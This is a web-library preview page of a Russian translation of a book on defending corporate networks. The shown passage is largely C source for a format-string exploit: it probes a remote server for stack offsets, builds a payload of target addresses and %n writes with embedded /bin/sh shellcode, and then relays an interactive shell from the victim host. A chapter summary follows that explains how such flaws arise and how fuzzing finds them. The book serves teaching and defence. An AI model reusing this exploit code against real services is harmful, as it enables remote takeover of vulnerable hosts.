Коллектив авторов - Защита от хакеров корпоративных сетей

Тут можно читать онлайн Коллектив авторов - Защита от хакеров корпоративных сетей - бесплатно ознакомительный отрывок. Жанр: Прочая околокомпьтерная литература. Здесь Вы можете читать ознакомительный отрывок из книги онлайн без регистрации и SMS на сайте лучшей интернет библиотеки ЛибКинг или прочесть краткое содержание (суть), предисловие и аннотацию. Так же сможете купить и скачать торрент в электронном формате fb2, найти и слушать аудиокнигу на русском языке или узнать сколько частей в серии и всего страниц в публикации. Читателям доступно смотреть обложку, картинки, описание и отзывы (комментарии) о произведении.

Коллектив авторов - Защита от хакеров корпоративных сетей краткое содержание

Защита от хакеров корпоративных сетей - описание и краткое содержание, автор Коллектив авторов, читайте бесплатно онлайн на сайте электронной библиотеки LibKing.Ru

В книге рассматривается современный взгляд на хакерство, реинжиниринг и защиту информации. Авторы предлагают читателям список законов, которые определяют работу систем компьютерной безопасности, рассказывают, как можно применять эти законы в хакерских технологиях. Описываются типы атак и возможный ущерб, который они могут нанести компьютерным системам. В книге широко представлены различные методы хакинга, такие, как поиск различий, методы распознавания шифров, основы их вскрытия и схемы кодирования. Освещаются проблемы безопасности, возникающие в результате непредсказуемого ввода данных пользователем, методы использования машинно-ориентированного языка, возможности применения мониторинга сетевых коммуникаций, механизмы туннелирования для перехвата сетевого трафика. В книге представлены основные сведения о хакерстве аппаратных средств, вирусах, троянских конях и червях. В этой книге читатель узнает о методах, которые в случае неправильного их применения приведут к нарушению законодательства и связанным с этим последствиям.

Лучшая защита – это нападение. Другими словами, единственный способ остановить хакера заключается в том, чтобы думать, как он. Эти фразы олицетворяют подход, который, по мнению авторов, позволит наилучшим образом обеспечить безопасность информационной системы.

Перевод: Александр Петренко

Защита от хакеров корпоративных сетей - читать онлайн бесплатно ознакомительный отрывок

Защита от хакеров корпоративных сетей - читать книгу онлайн бесплатно (ознакомительный отрывок), автор Коллектив авторов
Тёмная тема
Сбросить

Интервал:

Закладка:

Сделать

// for the format string

int foundit = 0;

int amt = 0;

int i = 0;

amt = read(s,reply,500); // read in the header, junk

reply[amt] = “\0”;

while(!foundit)

{

strncat(str,“%010p”,5);

write(s,str,strlen(str)+1);

write(s,“\n”,1);

amt = read(s,reply,1024);

if (amt == 0)

{

fprintf(stderr,“Connection closed.\n”);

close(s);

exit(-1);

}

reply[amt] = “\0”;

amt = 0;

i = 0;

while(reply[amt-1] != “\n”)

{

i += amt;

amt = read(s, reply+i, 1024);

if (amt == 0)

{

fprintf(stderr,“Connection closed.\n”);

close(s);

exit(-1);

}

}

reply[amt] = “\0”;

foundit = find_addr(reply);

}

}

int find_addr(char *str)

{

// this function parses server output.

// searches in words from the stack for

// the format string

char *ptr;

char segment[11];

unsigned long chekit = 0;

int i = 0;

int foundit = 0;

ptr = str + 6;

while((*ptr != “\0”) && (*ptr != “\n”))

{

if((*ptr == “0”) && (*(ptr+1) == “x”))

{

memcpy(segment,ptr,10);

segment[10] = “\0”;

chekit = strtoul(segment,NULL,16);

if(chekit == FINDME)

{

printf(“*b00m*: found address #1: %i words

away.\n”,i);

foundit = i;

return foundit;

}

ptr += 10;

}

else if ((*ptr == “ ”) && (*(ptr+1) == “ ”))

{

ptr += 10; // 0x00000000

}

i++;

}

return foundit;

}

void gen_str(char *str,int num,int target)

{

// this function generates the exploit string

// it contains the addresses to write to,

// the format specifiers (padding, %n’s)

// and the shellcode

int i;

char *shellcode =

“\x90\x31\xdb\x89\xc3\x43\x89\xcb\x41\xb0\x3f\xcd\x80\xeb\x25\x5e”

“\x89\xf3\x83\xc3\xe0\x89\x73\x28\x31\xc0\x88\x43\x27\x89\x43\x2c”

“\x83\xe8\xf5\x8d\x4b\x28\x8d\x53\x2c\x89\xf3\xcd\x80\x31\xdb”

“\x31\xc0\x40\xcd\x80\xe8\xd6\xff\xff\xff/bin/sh”;

memset(str+8,0x41,992); // clean the buffer

*((long *)(str+8)) = TARGET; // place the addresses

*((long *)(str+16)) = TARGET+1; // in the buffer

*((long *)(str+24)) = TARGET+2;

*((long *)(str+32)) = TARGET+3;

*((long *)(str+36)) = TARGET+4;

str[36] = “\0”;

for(i = 0;i

{

strncat(str,“%x”,2); // work our way to where target is

}

// the following section is binary dependent

strncat(str,“%227x”,5); // padding

strncat(str,“%n”,2); // first write

strncat(str,“%92x”,4); // padding

strncat(str,“%n”,2); // second write

strncat(str,“%262x”,5); // padding

strncat(str,“%n”,2); // third write

strncat(str,“%192x”,5); // padding

strncat(str,“%n”,2); // fourth write

strncat(str,shellcode,strlen(shellcode)); // insert the

shellcode

strncat(str,»\n»,1); // terminate with a newline

}

void session(int s)

{

// this function facilitates communication with a

// shell exec()’d on the victim host.

fd_set fds;

int i;

char buf[1024];

FD_ZERO(&fds);

while(1)

{

FD_SET(s, &fds);

FD_SET(0, &fds);

select(s+1, &fds, NULL, NULL, NULL);

if (FD_ISSET(0,&fds))

{

i = 0;

bzero(buf,sizeof(buf));

fgets(buf,sizeof(buf)-2, stdin);

write(s,buf,strlen(buf));

}

else

if (FD_ISSET(s,&fds))

{

i = 0;

bzero(buf,sizeof(buf));

if ((i = read(s,buf,1024)) == 0)

{

printf(“connection lost.\n”);

exit(0);

}

buf[i] = “\0”;

printf(“%s”,buf);

}

}

}

Резюме

Уязвимость форматирующей строки является одним из последних дополнений к стандартному набору уловок злоумышленника.

В последнее время применяемые злоумышленниками способы использования ошибок программного обеспечения стали гораздо изощреннее. Одна из причин усложнения инструментария злоумышленников состоит в том, что стало больше злоумышленников, стало больше любопытных, высматривающих что-либо полезное для себя, и стало больше ревизоров, внимательно исследующих исходные тексты программ. Сейчас стало намного легче узнать о работе систем, об уязвимости программ и о том, как их можно использовать в своих целях.

В основном злоумышленники осмыслили пользу, которую им могут принести ошибки программирования. Долгое время программисты использовали функции printf(), не подозревая об ужасных последствиях их неправильного применения. До последнего времени никто не предполагал, что уязвимости форматирующей строки могут быть использованы для передачи управления злонамеренному программному коду. В дополнение к ошибкам форматирующей строки появились новые способы, например переписывание структур динамически распределяемой памяти, использование функций освобождения памяти для перезаписи указателей и ошибки целых индексов со знаком (signed integer index errors).

Злоумышленники хорошо разбираются в интересующих их вопросах. Они знают, как воспользоваться коварными ошибками в программах. Ныне злоумышленники изучают каждую программу, анализируя ее реакцию на различные варианты входных данных. Сейчас как никогда для программистов важно осознать, что многие ошибки, ранее считавшиеся безобидными, могут привести к серьезным последствиям, если их вовремя не исправить. Системные администраторы и пользователи должны знать, что в используемых программах скрытно присутствуют ошибки программного обеспечения, ныне представляющиеся несущественными, но пригодные для использования в злонамеренных целях.

Конспект

Уязвимость форматирующей строки

· Уязвимость форматирующей строки обязана своим происхождением программистам, позволяющим присваивать входные данные программы параметрам функции printf() без необходимой в таких случаях проверки.

· Уязвимость форматирующей строки позволяет злоумышленникам читать из памяти данные программы и записывать в память данные злоумышленника.

· Уязвимость форматирующей строки может быть использована для вызова произвольного программного кода посредством подмены адресов возврата, содержимого таблицы GOT, указателей на функции и т. д.

Пример уязвимой программы

· Признаком уязвимой программы является наличие в ней функции printf(), параметрами которой являются переменные, соответствующие спецификациям преобразования форматирующей строки.

· Применяя функции, использующие внутри себя функцию printf(), программисты часто забывают о возможности формирования форматирующей строки и параметров функции printf() из входных данных этих функций.

· Неправильное использование функции syslog() является причиной значительного числа уязвимостей форматирующей строки, большинство из которых чревато опасными последствиями.

Тестирование программ способом случайной форматирующей строки

· Тестирование программ способом случайной форматирующей строки позволяет выявить уязвимости форматирующей строки, исследуя реакцию программы на различные варианты спецификаций формата.

· Спецификации формата %s, %x, %p могут указывать на уязвимости форматирующей строки, если в отформатированной строке они замещаются данными из памяти. Использование этих спецификаций формата не всегда свидетельствует о наличии в программе уязвимости форматирующей строки, так же как и не все уязвимости проявляются при выводе отформатированной строки.

· Аварийное завершение процесса из-за спецификаций преобразования %п или %5, которым соответствуют входные данные программы, свидетельствует об уязвимости форматирующей строки.

Программа атаки с использованием форматирующей строки

· Программы атаки с использованием форматирующей строки могут читать одни данные из памяти и записывать другие в память. Уязвимость форматирующей строки не обязательно зависит от используемой платформы. Известны примеры программ, как, например, утилита Screen, которые могут выполнить злонамеренный программный код в разных операционных системах на машинах с различной архитектурой.

Читать дальше
Тёмная тема
Сбросить

Интервал:

Закладка:

Сделать


Коллектив авторов читать все книги автора по порядку

Коллектив авторов - все книги автора в одном месте читать по порядку полные версии на сайте онлайн библиотеки LibKing.




Защита от хакеров корпоративных сетей отзывы


Отзывы читателей о книге Защита от хакеров корпоративных сетей, автор: Коллектив авторов. Читайте комментарии и мнения людей о произведении.


Понравилась книга? Поделитесь впечатлениями - оставьте Ваш отзыв или расскажите друзьям

Напишите свой комментарий
x